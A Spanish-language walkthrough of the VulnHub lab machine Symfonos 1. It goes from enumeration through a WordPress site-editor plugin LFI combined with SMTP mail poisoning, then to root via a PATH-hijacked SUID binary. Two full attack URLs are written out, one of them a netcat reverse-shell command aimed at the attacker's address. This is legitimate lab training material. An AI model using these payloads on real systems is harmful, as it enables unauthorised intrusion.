VulnHub SYMFONOS 1

VulnHub SYMFONOS 1

Esta es una máquina de dificultad media

·

4 min read

Reconocimiento

Debido a que esta máquina la debemos levantar en nuestro equipo primero debemos descargarla y levantarla, luego de ello realizar un escaneo en nuestra red para poder identificar la dirección IP que se le asignó haciendo uso de arp-scan.

El ejecutar podemos ver varias direcciones IP, la que nos importa es la que indica VMware, ya que es la dirección asignada a nuestra máquina víctima.

Como ya tenemos la dirección IP, ahora revisamos si tenemos conexión desde nuestra máquina atacante con la víctima.

Al realizar el ping a dicha dirección IP podemos comprobar que si tenemos conexión y que se trata de una máquina linux.

Enumeración

Haciendo uso de Nmap podemos observar que tenemos los siguientes puertos abiertos.

Podemos observar que tenemos varios servicios que nos pueden servir más adelante y por ello debemos tener en cuenta que tenemos el servicio SMTP, HTTP, SMB aparte del servicio web, así también tenemos el nombre del dominio symfonos.localdomain.

Primero revisaremos el servicio web, de primera en la IP podemos observar que no tenemos mucho, por ello usamos Gobuster para poder listar algunas páginas adicionales, pero no vemos mucho.

Por ello pasaremos a buscar en el servicio de SMB, en el cual observamos que tenemos dos archivos Anonymous y helios.

Primero nos conectaremos en Anonymous y podemos observar que tenemos u archivo TXT.

Descargamos el TXT

Podemos ver que nos indica que los usuarios usan tres passwords usualmente.

Revisamos las otras carpetas compartidas y no podemos observar algo más, probamos con helios, pero no es posible acceder.

Pero tengamos en cuenta que en Anonymous nos dieron una pista, la cual era del password, probando establecer conexión con alguno de los passwords que nos indicaron, la que nos permite conectarnos fue qwerty.

Descargamos ambos archivos y en el archivo research encontramos lo siguiente

En el archivo todo podemos observar que indican otra ruta de acceso.

Si vamos a la dirección de h3l105 podemos observar algo muy interesante que indica que hay un WordPress

También podemos hacer uso de Wappalyzer para confirmarlo

Con conocimiento de ello haremos uso de WPScan para obtener información de ello

Como podemos observar en uploads tenemos la carpeta siteeditor, que si buscamos en internet podemos observar que existe una vulnerabilidad la cual podemos explotar

Explotación

https://www.exploit-db.com/exploits/44340

como indica el nombre del exploit se trata de un LFI el cual nos da una mayor vista de que podemos hacer.

Si leemos como funciona tenemos una prueba de concepto que nos servirá para probar si es posible realizarlo.

Colocamos esa dirección en nuestra URL y podemos ver que sí nos funciona. Colocamos en view-source para que sea más claro el resultado

Buscando una manera de poder obtener algún acceso o como poder aprovechar el LFI podemos observar que tenemos el servicio SMTP, probamos conectándonos y enviando un mensaje por telnet a helios

nos conectamos al SMTP, donde está el mensaje envenenado y volvemos al LFI podemos observar que si llegamos a obtener el ID del usuario helios:

view-source:http://192.168.0.21/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=id

Para obtener una shell usamos nc de la siguiente manera, primero en nuestra máquina atacante iniciamos en escucha y luego enviamos la petición.

http://192.168.0.21/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=nc -e /bin/bash 192.168.0.11 1234

Luego de enviar la petición ya tendríamos una shell en nuestra máquina.

De esta manera podemos tener más facilidad para seguir escalando, revisaremos los permisos suid root y notamos que tenemos el statuscheck el cual no es frecuente en estos permisos.

Vamos a la carpeta y revisamos el archivo y se trata de un binario, para ello lo pasaremos a nuestra máquina para tener más información

primero iniciamos un servicio HTTP con Python

En nuestra máquina local usamos wget para descargarlo

Revisando el archivo podemos observar que tenemos system y curl. Con los cuales podemos darnos una idea de que hacer.

Para ello crearemos un archivo curl en el directorio /tmp y le damos permisos de lectura, escritura y ejecución, luego de ello exportamos el path con la carpeta actual donde estamos reemplazando el curl para que al momento de ejecutar el archivo statuscheck tome como primera alternativa la ruta donde colocamos nuestro curl manipulado.

Como se pudo ver, luego de exportar y ejecutar /opt/statuscheck nos convertimos en root. Si ahora vamos a la carpeta de root y abrir el archivo podemos ver que llegamos al flag de root.